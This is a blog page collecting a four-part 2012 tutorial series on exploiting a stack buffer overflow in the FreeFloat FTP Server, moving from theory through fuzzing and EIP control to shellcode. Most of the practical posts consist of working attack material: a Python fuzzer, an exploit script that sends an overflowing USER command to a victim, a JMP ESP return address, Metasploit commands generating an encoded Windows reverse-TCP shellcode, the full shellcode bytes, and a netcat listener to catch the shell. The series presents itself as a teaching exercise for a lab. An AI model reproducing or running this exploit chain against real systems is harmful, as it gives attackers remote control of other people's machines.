Tampilkan postingan dengan label Exploit Writing. Tampilkan semua postingan

Selasa, 08 Mei 2012

Guide to Basic Exploit Writing (Part 3 - Shellcode)

  1 komentar
18.04

Hello GreenHackerz Reader............This is the last part of the series of "Buffer overflow exploitation"Here we talk about the shellcode.







So, Lets Start......

0X01 - What is Shellcode ? Explanation in brief ?

In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine. Shellcode is commonly written in machine code, but any piece of code that performs a similar task can be called shellcode. Because the function of a payload is not limited to merely spawning a shell, some have suggested that the name shellcode is insufficient. However, attempts at replacing the term have not gained wide acceptance.

Types of shellcode

Shellcode can either be local or remote, depending on whether it gives an attacker control over the machine it runs on (local) or over another machine through a network (remote).

1. Local
Local shellcode is used by an attacker who has limited access to a machine but can exploit a vulnerability, for example a buffer overflow, in a higher-privileged process on that machine. If successfully executed, the shellcode will provide the attacker access to the machine with the same higher privileges as the targeted process.

2. Remote
Remote shellcode is used when an attacker wants to target a vulnerable process running on another machine on a local network or intranet. If successfully executed, the shellcode can provide the attacker access to the target machine across the network. Remote shellcodes normally use standard TCP/IP socket connections to allow the attacker access to the shell on the target machine. Such shellcode can be categorised based on how this connection is set up: if the shellcode can establish this connection, it is called a "reverse shell" or a connect-back shellcode because the shellcode connects back to the attacker's machine. On the other hand, if the attacker needs to create the connection, the shellcode is called a bindshell because the shellcode binds to a certain port on which the attacker can connect to control it. A third type, much less common, is socket-reuse shellcode. This type of shellcode is sometimes used when an exploit establishes a connection to the vulnerable process that is not closed before the shellcode is run. The shellcode can then re-use this connection to communicate with the attacker. Socket re-using shellcode is harder to create because the shellcode needs to find out which connection to re-use and the machine may have many connections open.

A firewall can be used to detect the outgoing connections made by connect-back shellcodes and the attempt to accept incoming connections made by bindshells. They can therefore offer some protection against an attacker, even if the system is vulnerable, by preventing the attacker from gaining access to the shell created by the shellcode. This is one reason why socket re-using shellcode is sometimes used: because it does not create new connections and therefore is harder to detect and block

3. Download and execute
Download and execute is a type of remote shellcode that downloads and executes some form of malware on the target system. This type of shellcode does not spawn a shell, but rather instructs the machine to download a certain executable file off the network, save it to disk and execute it. Nowadays, it is commonly used in drive-by download attacks, where a victim visits a malicious webpage that in turn attempts to run such a download and execute shellcode in order to install software on the victim's machine. A variation of this type of shellcode downloads and loads a library. Advantages of this technique are that the code can be smaller, that it does not require the shellcode to spawn a new process on the target system, and that the shellcode does not need code to clean up the targeted process as this can be done by the library loaded into the process.

4. Staged
When the amount of data that an attacker can inject into the target process is too limited to execute useful shellcode directly, it may be possible to execute it in stages. First, a small piece of shellcode (stage 1) is executed. This code then downloads a larger piece of shellcode (stage 2) into the process's memory and executes it.

5. Egg-hunt
This is another form of staged shellcode, which is used if an attacker can inject a larger shellcode into the process but cannot determine where in the process it will end up. Small egg-hunt shellcode is injected into the process at a predictable location and executed. This code then searches the process's address space for the larger shellcode (the egg) and executes it.

6. Omelette
This type of shellcode is similar to egg-hunt shellcode, but looks for multiple small blocks of data (eggs) and recombines them into one larger block (the omelet) that is subsequently executed. This is used when an attacker can only inject a number of small blocks of data into the process.

Shellcode execution strategy

An exploit will commonly inject a shellcode into the target process before or at the same time as it exploits a vulnerability to gain control over the program counter. The program counter is adjusted to point to the shellcode, after which it gets executed and performs its task. Injecting the shellcode is often done by storing the shellcode in data sent over the network to the vulnerable process, by supplying it in a file that is read by the vulnerable process or through the command line or environment in the case of local exploits.

================================================
9. Generating the Shellcode

We will make use of msfpayload and msfencode to generate our shellcode. (If you want to create your own shellcode, you will need to know some C and assembly language, as well as how to use a linker and an assembler e.g. nasm. Again, that's another story.)

Let's use a reverse shell as our payload. Use the command below to see a summary.

Code
# msfpayload windows/shell_reverse_tcp S
 
Name: Windows Command Shell, Reverse TCP Inline Module: payload/windows/shell_reverse_tcp Version: 8642 Platform: Windows Arch: x86
Needs Admin: No Total size: 314
Rank: Normal

Basic options:Name Current Setting Required Description---- --------------- -------- -----------EXITFUNC process yes Exit technique: seh, thread, none, processLHOST yes The listen addressLPORT 4444 yes The listen port

Description: Connect back to attacker and spawn a command shell

Now fill in LHOST as 192.168.7 (use the ip of your attacking machine), generate the payload in raw format and pipe it into msfencode. Also tell msfencode not to use \x00, \x0a or \x0d during the encoding process, and to output the shellcode in C format. Note that the encoder may generate something slightly different each time it runs. Explore using EXITFUNC=thread etc if you want.

Code
# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.7 R | msfencode -b '\x00\x0a\x0d' -t c[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

unsigned char buf[] =\"\xbd\xd1\x13\xa8\xad\xd9\xee\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\"\"\x4f\x31\x6a\x14\x03\x6a\x14\x83\xc2\x04\x33\xe6\x54\x45\x3a\"\"\x09\xa5\x96\x5c\x83\x40\xa7\x4e\xf7\x01\x9a\x5e\x73\x47\x17\"\"\x15\xd1\x7c\xac\x5b\xfe\x73\x05\xd1\xd8\xba\x96\xd4\xe4\x11\"\"\x54\x77\x99\x6b\x89\x57\xa0\xa3\xdc\x96\xe5\xde\x2f\xca\xbe\"\"\x95\x82\xfa\xcb\xe8\x1e\xfb\x1b\x67\x1e\x83\x1e\xb8\xeb\x39\"\"\x20\xe9\x44\x36\x6a\x11\xee\x10\x4b\x20\x23\x43\xb7\x6b\x48\"\"\xb7\x43\x6a\x98\x86\xac\x5c\xe4\x44\x93\x50\xe9\x95\xd3\x57\"\"\x12\xe0\x2f\xa4\xaf\xf2\xeb\xd6\x6b\x77\xee\x71\xff\x2f\xca\"\"\x80\x2c\xa9\x99\x8f\x99\xbe\xc6\x93\x1c\x13\x7d\xaf\x95\x92\"\"\x52\x39\xed\xb0\x76\x61\xb5\xd9\x2f\xcf\x18\xe6\x30\xb7\xc5\"\"\x42\x3a\x5a\x11\xf4\x61\x33\xd6\xca\x99\xc3\x70\x5d\xe9\xf1\"\"\xdf\xf5\x65\xba\xa8\xd3\x72\xbd\x82\xa3\xed\x40\x2d\xd3\x24\"\"\x87\x79\x83\x5e\x2e\x02\x48\x9f\xcf\xd7\xde\xcf\x7f\x88\x9e\"\"\xbf\x3f\x78\x76\xaa\xcf\xa7\x66\xd5\x05\xde\xa1\x42\x66\x49\"\"\x2c\x94\x0e\x88\x2e\x8b\x92\x05\xc8\xc1\x3a\x40\x43\x7e\xa2\"\"\xc9\x1f\x1f\x2b\xc4\xb7\xbc\xbe\x83\x47\xca\xa2\x1b\x10\x9b\"\"\x15\x52\xf4\x31\x0f\xcc\xea\xcb\xc9\x37\xae\x17\x2a\xb9\x2f\"\"\xd5\x16\x9d\x3f\x23\x96\x99\x6b\xfb\xc1\x77\xc5\xbd\xbb\x39\"\"\xbf\x17\x17\x90\x57\xe1\x5b\x23\x21\xee\xb1\xd5\xcd\x5f\x6c\"\"\xa0\xf2\x50\xf8\x24\x8b\x8c\x98\xcb\x46\x15\xa8\x81\xca\x3c\"\"\x21\x4c\x9f\x7c\x2c\x6f\x4a\x42\x49\xec\x7e\x3b\xae\xec\x0b\"\"\x3e\xea\xaa\xe0\x32\x63\x5f\x06\xe0\x84\x4a\";

================================================
10. Putting it All Together

Replace the "evil" lines in exploit.py with the following:

Code

evil = \"\x90\" * 230 # In this case, not too important what you place here.evil += \"\xe1\xfa\xb8\x76\" # Replace this with the address JMP ESP you found earlier, in litte-endian orderevil += \"\x90\" * 48 # Place some NOPs in front of the shellcode. Impt that you place a small buffer here.evil += (\"\xbd\xd1\x13\xa8\xad\xd9\xee\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\"\"\x4f\x31\x6a\x14\x03\x6a\x14\x83\xc2\x04\x33\xe6\x54\x45\x3a\"\"\x09\xa5\x96\x5c\x83\x40\xa7\x4e\xf7\x01\x9a\x5e\x73\x47\x17\"\"\x15\xd1\x7c\xac\x5b\xfe\x73\x05\xd1\xd8\xba\x96\xd4\xe4\x11\"\"\x54\x77\x99\x6b\x89\x57\xa0\xa3\xdc\x96\xe5\xde\x2f\xca\xbe\"\"\x95\x82\xfa\xcb\xe8\x1e\xfb\x1b\x67\x1e\x83\x1e\xb8\xeb\x39\"\"\x20\xe9\x44\x36\x6a\x11\xee\x10\x4b\x20\x23\x43\xb7\x6b\x48\"\"\xb7\x43\x6a\x98\x86\xac\x5c\xe4\x44\x93\x50\xe9\x95\xd3\x57\"\"\x12\xe0\x2f\xa4\xaf\xf2\xeb\xd6\x6b\x77\xee\x71\xff\x2f\xca\"\"\x80\x2c\xa9\x99\x8f\x99\xbe\xc6\x93\x1c\x13\x7d\xaf\x95\x92\"\"\x52\x39\xed\xb0\x76\x61\xb5\xd9\x2f\xcf\x18\xe6\x30\xb7\xc5\"\"\x42\x3a\x5a\x11\xf4\x61\x33\xd6\xca\x99\xc3\x70\x5d\xe9\xf1\"\"\xdf\xf5\x65\xba\xa8\xd3\x72\xbd\x82\xa3\xed\x40\x2d\xd3\x24\"\"\x87\x79\x83\x5e\x2e\x02\x48\x9f\xcf\xd7\xde\xcf\x7f\x88\x9e\"\"\xbf\x3f\x78\x76\xaa\xcf\xa7\x66\xd5\x05\xde\xa1\x42\x66\x49\"\"\x2c\x94\x0e\x88\x2e\x8b\x92\x05\xc8\xc1\x3a\x40\x43\x7e\xa2\"\"\xc9\x1f\x1f\x2b\xc4\xb7\xbc\xbe\x83\x47\xca\xa2\x1b\x10\x9b\"\"\x15\x52\xf4\x31\x0f\xcc\xea\xcb\xc9\x37\xae\x17\x2a\xb9\x2f\"\"\xd5\x16\x9d\x3f\x23\x96\x99\x6b\xfb\xc1\x77\xc5\xbd\xbb\x39\"\"\xbf\x17\x17\x90\x57\xe1\x5b\x23\x21\xee\xb1\xd5\xcd\x5f\x6c\"\"\xa0\xf2\x50\xf8\x24\x8b\x8c\x98\xcb\x46\x15\xa8\x81\xca\x3c\"\"\x21\x4c\x9f\x7c\x2c\x6f\x4a\x42\x49\xec\x7e\x3b\xae\xec\x0b\"\"\x3e\xea\xaa\xe0\x32\x63\x5f\x06\xe0\x84\x4a\")evil += \"\x90\" * (1000 - len(evil))

Before you run the exploit.py again, open up another terminal and set up a netcat listener at port 4444:

Code

# nc -vlp4444

Now run exploit.py. You should be able to get a shell on your netcat listener.
That's it.

I hope you all learned & enjoyed the article on Buffer Overflow Exploitation.

espérons qu'il vous plaira.
Enjoy the article.



Read More

Senin, 07 Mei 2012

Guide to Basic Exploit Writing (Part 2 - Controlling the EIP)

  1 komentar
00.15

Hello GreenHackerz Readers..........



Lets Start the Part 2 - Controlling the EIP (Extended Instruction Pointer).

0X01 - What is EIP?
EIP ( Extended Instruction Pointer ) is a register that points to the next instruction. It simply points to the address in which that instruction is placed. So if we overwrite this we can change the direction flow of the program and make it do what we want.


================================================
5. Finding the Offset.
In Part 1 of the guide, we fuzzed the FreeFloat FTP Server and found that if we send a string of 1000 'A's as the USER, we can overwrite the EIP with 41414141. Now the question is - how do we find out which particular 4 bytes out of the 1000 bytes had overwritten the EIP?

In this case, one convenient way of working this out is to make use of two scripts that come together with the Metasploit Framework: pattern_create.rb and pattern_offset.rb. First, create a string of alphanumeric characters using pattern_create.rb. Note that the location of the script in your system may differ.

Code
# /opt/metasploit/tools/pattern_create.rb 1000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Now create the following exploit.py file and use the 1000-byte string generated above instead of the 1000 'A's.

Code
#!/usr/bin/python2.7
import sys
import socket

evil = \"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B\"

buffer = \"USER \"
buffer += evil
buffer += \"\r\n\"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect((\"192.168.1.4\", 21)) #replace 192.168.1.4 with the ip of your Victim computer
sock.recv(1024)
sock.send(buffer)
sock.close()

Now, make the file executable and run it i.e. # ./exploit.py

This should 'hang' the FTP server running in ollydbg. Take a look at the EIP register. On my system, instead of 41414141, it now shows 37684136. Plug this string into pattern_offset.rb, as shown below. Remember to replace the 37684136 with the string you see in the EIP register on your own system.

Code
# /opt/metasploit/tools/pattern_offset.rb 37684136
230

Now replace the "evil" line in exploit.py with the following:

Code
evil = \"\x41\" * 230      # generate a string of 230 'A's
evil += \"\x42\" * 4       # if we did this correctly, the EIP should be overwritten by 'BBBB'
evil += \"\x43\" * (1000 - len(evil))  # fill the remaining bytes with 'C's

Run exploit.py again. You should see that EIP has now been overwritten with 42424242, or 'BBBB'.

================================================
6. Finding a Home for our Shell Code.

Before we work further on the EIP, let's take a look at the bottom right window in ollydbg - the stack. If you scroll up the window slightly, you will see a long string of 41414141s. That's our 230 'A's. Immediately after that, you will see 42424242, followed by a long string of 43434343s.

Looking back at the register window in ollydbg, observe that the ESP register seems to be pointing to a long string of 'C's, or 43434343.... Choose the ESP register value and right-click on it, then choose the "Follow in Stack" option. In the stack window of ollydbg, you will be directed to the 3rd row of 43434343. On my system, the address of this row is 0x013CFC18. Now scroll down the stack window to the last row of 43434343. On my system, the address of this last row is 0x013CFF08. This means we have about 0x2F0, or 752 bytes to work with.

For a straightforward exploit (as is the case here), this is more than sufficient space for a tcp bind shell or reverse shell. Seems like a good place to house our shellcode in!

================================================
7. The Plan of Attack.

Let's summarise the key things we found out thus far:

1. We can insert any value, or memory address, we want into EIP. The program will then execute any valid instruction found at the memory address.

2. The ESP points to the 3rd row of 43434343. We can control the values in this row, as well as the 752 bytes there after. Instead of 'C's, we can place our shell code here.

Based on the above, we can work out the following plan of attack:
1. We need to first find a "JMP ESP" instruction and get its address.
2. We will place this address into EIP, so that the JMP ESP instruction will be executed.
3. We will place our shell code just after the 3rd row of 43434343, for e.g. in the 4th row.
4. After filling in our shell code, we will replace all the remaining 'A's and 'C's with \x90 (NOPs).
5. When the JMP ESP is executed in point #2 above, the program will first execute the 3rd row, now filled
   with NOPs, followed by the 4th row and so on, which is now filled with our shell code. (Sometimes, you   may need to adjust the number of NOPs you put in.)

================================================
8. The JMP ESP Instruction.

In ollydbg, press Alt-E to bring up a window showing the list of executable modules of the FTP program. We can try to find a JMP ESP instruction from one of these modules, while bearing the following in mind:

1. We need to avoid using a JMP ESP instruction with an address which contains a \x00, \x0a or \x0d. These are the null byte, line feed and carriage return respectively. They tend to break exploits.

2. We should try to use modules that come together with the program, instead of the modules supplied by the operating system. The addresses within the former are less likely to change with different Service Packs, languages, etc and should be more portable.

3. Windows Vista uses ASLR to randomise the memory addresses of most modules, especially the ones supplied by the operating system. I think Win7 uses ASLR for all modules. The use of ASLR reduces the portability of the exploit, and in most cases, prevents the exploit from working again after the Victim computer reboots.

Now take a look at the list of executable modules. Unfortunately, all of them are modules supplied by the OS. Looks like we have to pick an OS supplied module. If you are following this tutorial using Vista or a newer Windows OS, this means that it will be difficult for you to pwn Vista machines you don't own... well I meant it when I said this was for educational purposes only ; There are ways to bypass ASLR under certain circumstances, but that's another story.

Anyway double-click on USER32.dll. Then, in the main window (top-left) of ollydbg, right-click and select the option 'Search for -> Command'. Do a search for 'JMP ESP'. You can try using other modules if you like. On my system, I found a JMP ESP instruction at 0x76b8fae1. Don't reboot your machine if you are using >= Vista, or you will have to repeat this step. Remember not to use addresses with \x00, \x0a and \x0d in them.

Next, replace the "evil" lines in exploit.py, with the following:

Code
evil = \"\x90\" * 230 # Just a bunch of NOPs, not really important here
evil += \"\xe1\xfa\xb8\x76\" # address of the JMP ESP instruction, little-endian order
evil += \"\xcc\" * (1000 - len(evil)) # fill up the remaining bytes with breakpoints (\xcc)

Now run exploit.py again. The FTP program running under ollydbg should now pause at the 3rd row of '\xcc'. You can verify this by looking at the stack window and the main window of ollydbg.

All that is left now is to replace the '\xcc' with our shell code. Stay tuned for the 3rd and last part!


espérons qu'il vous plaira.

Enjoy the article.

Read More

Sabtu, 05 Mei 2012

Guide to Basic Exploit Writing (Part 1- Fuzzing)

  Tidak ada komentar
03.05


Hello GreenHackerz Readers............

This is the continuation of last article "Buffer Overflow Exploitation". Here, we all focusing on the practical area of the exploitation.


So, Lets Start.

0X01 - What is Fuzzing?
Fuzz testing or fuzzing is a software testing technique used to discover coding errors and security loopholes in software, operating systems or networks by inputting massive amounts of random data, called fuzz, to the system in an attempt to make it crash. If a vulnerability is found, a tool called a fuzz tester (or fuzzer), indicates potential causes. Fuzz testing was originally developed by Barton Miller at the University of Wisconsin in 1989.

Fuzzers work best for problems that can cause a program to crash, such as buffer overflow, cross-site scripting, denial of service attacks, format bugs and SQL injection. These schemes are often used by malicious hackers intent on wreaking the greatest possible amount of havoc in the least possible time. Fuzz testing is less effective for dealing with security threats that do not cause program crashes, such as spyware, some viruses, worms, Trojans and keyloggers.

Fuzz testing is simple and offers a high benefit-to-cost ratio. Fuzz testing can often reveal defects that are overlooked when software is written and debugged. Nevertheless, fuzz testing usually finds only the most serious faults. Fuzz testing alone cannot provide a complete picture of the overall security, quality or effectiveness of a program in a particular situation or application. Fuzzers are most effective when used in conjunction with extensive black box testing, beta testing and other proven debugging methods.

================================================
1. Introduction.

A FreeFloat FTP Server Buffer Overflow Vulnerability for the Metasploit Framework was released on 07/07/2011 on the Exploit Database (www.exploit-db.com/exploits/17498). The description noted that the exploit works on Win XP SP3 Eng. It was tried on XP SP3 setup but it didn't work, then it was decided that might be "re-discover" the exploit. Since the exploit for XP SP3 has already been done (despite it not working ). The same approach has been taken for XP SP2, SP3, etc. Unfortunately, for Win 7, it worked (the fuzzing part and the loading of the shell code), I believe the DEP prevents the exploit from executing.

Anyway, I will probably divide this walkthrough into 3 parts. This first part will focus on fuzzing. The second part will probably focus on controlling the EIP and the last on the loading of the shellcode and executing of the exploit. A few points to note:

1. I will try to keep this walkthrough as simple and as "fundamental" as possible, hopefully to help rookies (like me!) get their feet wet in writing exploits. If you prefer more details, there are several good tutorials out there on the web.

2. I will try to avoid the use of Metasploit, specifically the use of msfconsole. That said, I will still use pattern_create, pattern_offset, msfpayload and msfencode, so that we can focus more on the exploit process and less on assembly language, the compiler, the linker, etc.

3. This tutorial is meant for educational purposes only. Test the exploit only on computer networks you own.

================================================
2. Pre-requisite Knowledge.
Here are some pre-requisite knowledge.

1. Some knowledge of Python
2. Some familiarity with ollydbg
3. A little knowledge of the FTP protocol
4. A little knowledge of assembly language e.g. what registers EIP, ESP are, commands like JMP ESP
5. Some knowledge of how the stack works
6. A little knowledge of "little-endian"
7. A little knowledge of Hex values e.g. \x41 --> "A"
8. A little knowledge of opcodes e.g. \x90 --> No Operation (NOP)
9. Familiarity with Linux

You also require two machines, or virtual machines. My set-up is as follows:
Attacker (192.168.1.7): Linux with python2.7 installed
Victim (192.168.1.4): Win Vista Business with Ollydbg 1.10 and FreeFloat FTP Server installed.

Note that you can download the FreeFloat program from the exploit-db links above. Both Ollydbg 1.10 and 2.00 can be used. The same exploit writing process can be applied to other Vista and XP versions as well, although you may need to tweak the code a bit.

================================================
3. Creating a Very Basic Fuzzer.

First, run ollydbg on the Victim's computer. Then open the FreeFloat FTP program from within ollydbg. Press F9 to run the FTP program.

Now, let's build a very basic fuzzer to fuzz the program with varying lengths of "AAAAA..." as our Username.

Code
#!/usr/bin/python2.7
# fuzzer.py - An extremely simple fuzzer
import sys
import socket
import time

target_addr = sys.argv[1]
target_port = int(sys.argv[2])

lengths = {127,128,129,255,256,257,511,512,513,1023,1024,1025,2047,2048,2049,4095,4096,4097}
for length in lengths:        #I am having problems with indentation for the 
                                       submission. The whole block of code below
                                       should be indented.
fuzz = \"\x41\" * length     #set fuzz to a different length of 'A's each loop
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)      #create a TCP socket
connect = sock.connect((target_addr, target_port))
sock.recv(1024)        #receive the Welcome text from the FTP server
print \"Sending\", length, \"'A's\"
sock.send(\"USER \" + fuzz + \"\r\n\")      #send USER AAAAA...
sock.close()
print length, \"'A's sent\n\"
time.sleep(0.5)

===============================================
4. Running the Fuzzer.

Now, make your fuzzer.py file executable, and run it. You should get something similar to the following:

# ./fuzzer.py 192.168.1.4 21
Sending 4096 'A's
4096 'A's sent

Sending 4097 'A's
4097 'A's sent

Sending 1025 'A's
1025 'A's sent

Sending 2048 'A's
2048 'A's sent
Sending 2049 'A's
2049 'A's sent
Sending 129 'A's
129 'A's sent
Sending 128 'A's
128 'A's sent

Sending 127 'A's
127 'A's sent
Sending 257 'A's
257 'A's sent

The program 'hangs' after sending out 257 'A's. It may differ slightly for you, but the figure should be between 200+ to ~1000. More importantly, take a look at the top right window of ollydbg, which shows the registers. Look at the value of EIP, which holds the address of the instruction to be executed - it is 41414141 or AAAA! 4 bytes from our string of 'A's has overwritten the EIP and there's a chance we can control the execution of the FTP program.

Before moving on to the next part on Controlling the EIP, try to tweak the lengths in fuzzer.py to find out approximate maximum length of 'A's that will 'hang' the FTP program and overwrite the EIP with 41414141. For Vista, it should be around 1000. You will probably need to restart the FTP program in ollydbg. Do so by keying in Crtl-F2, followed by F9.
I will stop here for now. Part 2 on Controlling the EIP will hopefully be up by next article.

I hope you understand something from the article and helps you to proceed more in exploits. We will learn a lot more when we progress in the same. But it is essential to have a firm understanding in basic concepts.

espérons qu'il vous plaira.
Enjoy the article.

Read More

Kamis, 03 Mei 2012

Buffer Overflow Exploitation [Theory]

  Tidak ada komentar
02.50


Hello GreenHackerz Readers.............

This is a series I am starting and it might not be 100% correct, if mistakes are spotted please comment and I will correct them. I figure the best place to start with this series is to explain what a buffer overflow is and how it can lead to someone compromising your system. This is just theory, as it is all of just the section of the series, there is a second half to this called [Practical]. We will go on them in next article.


So lets start.

0 X 01 - What is a buffer?
Well a buffer is a section of memory that can be allocated either through programming or automatically. If poor programming practices have been used there then it may be a way for us to go beyond that set of buffer and can access other memory. Once we access the other memory, we can write our data to it in many ways, but this will be discussed later on "How to write?". Basically when we overflow the buffer we have the ability to insert our own commands and using a thing called "Shell Code", we can establish a connection between us and the client.

0X02 - Where do buffer overflows exist?
This depends on whether our attack is remote or local. Generally a buffer is set wherever user input is taken, this is where most exploits lay. So lets take a remote attack as an example, to be remote simply means that this is an application that uses the Internet in someway allowing us to connect to it and attack remotely. An example of this is Kolibri Web Server, this web server sets a buffer for the HEAD section of the HTTP Request, so we have to craft our exploit into a HTTP Header and send it over port 80. This attack will overflow the buffer and create a connection (using shell) to that machine. This specific attack uses SEH Exploitation which we will cover soon.

If it is local attack then the user generally has to open a file that will have the payload inside it. For instance the software AutoPlay allows users to easily create the ‘autoplay.ini’ file that is present on a lot of CD and USB devices. The vulnerability exists in opening an ‘autoplay.ini’ file that has added information (Shell Code) allowing the user to spawn a shell. Why would this be used (I am thinking this myself) I can only imagine that this kind of attack could be used on a system that is on lock down. If you have gained access to a workstation on your clients network and their OS is locked down so no shell allowed, if the user has access to this program we could still spawn a shell on that computer through this method. Another reason could be to gain access remotely by using this technique in combination with social engineering and of course local exploits are great for privilage escalation. Take the recent Adobe Reader exploits, a user could craft a special PDF file and trick someone into downloading it, when they open it they see their normal PDF content but unbeknownst to them a shell has been spawned on their machine.

You are likely to see the term ‘PoC’ quite a bit when we start researching other peoples exploits, this means Proof Of Concept. Basically the user will craft the exploit that works but instead of including Shell Code to spawn a shell, they will simply perform a execution task such as start ‘calc.exe’ (Windows Calculator). This is generally used to deter script kiddies from just launching the exploit without understanding it. A lot of the time people who code Buffer Overflows will also put the wrong offset in so the attack will not work without some modification by the user, testing the knowledge and again deterring script kiddies. Sometimes a Proof  of Concept can also simply be a file that successfully crashes the application, the rest of the work is normally left up to someone else to create.

A buffer overflow exploit can be coded in pretty much in any language but it mainly done in Python. And I find this easier than any other language (it is the modification of C language), I do not have really much programming experience but I do not feel it drastically important, you should still be able to follow along. It is essential to understand the basic concepts of programming though i.e. Variables, take user input, sockets, libraries… This will all be explained in dumbed down terms in the Python section of the series.

Good websites to look at Buffer Overflow code.

http://www.exploit-db.com – Awesome resource, I believe owned by the extremely skilled hacker Muts.

http://nvd.nist.gov/ – Another great resource, one of the best ways to learn is to look at other code.

http://osvdb.org/

So, I hope you now know what Buffer Overflows is and what are the result of the attack. We will learn a lot more when we progress into the actual attacks, but it is essential to have a firm understanding in basic concepts.

espérons qu'il vous plaira.
Enjoy the article.

Read More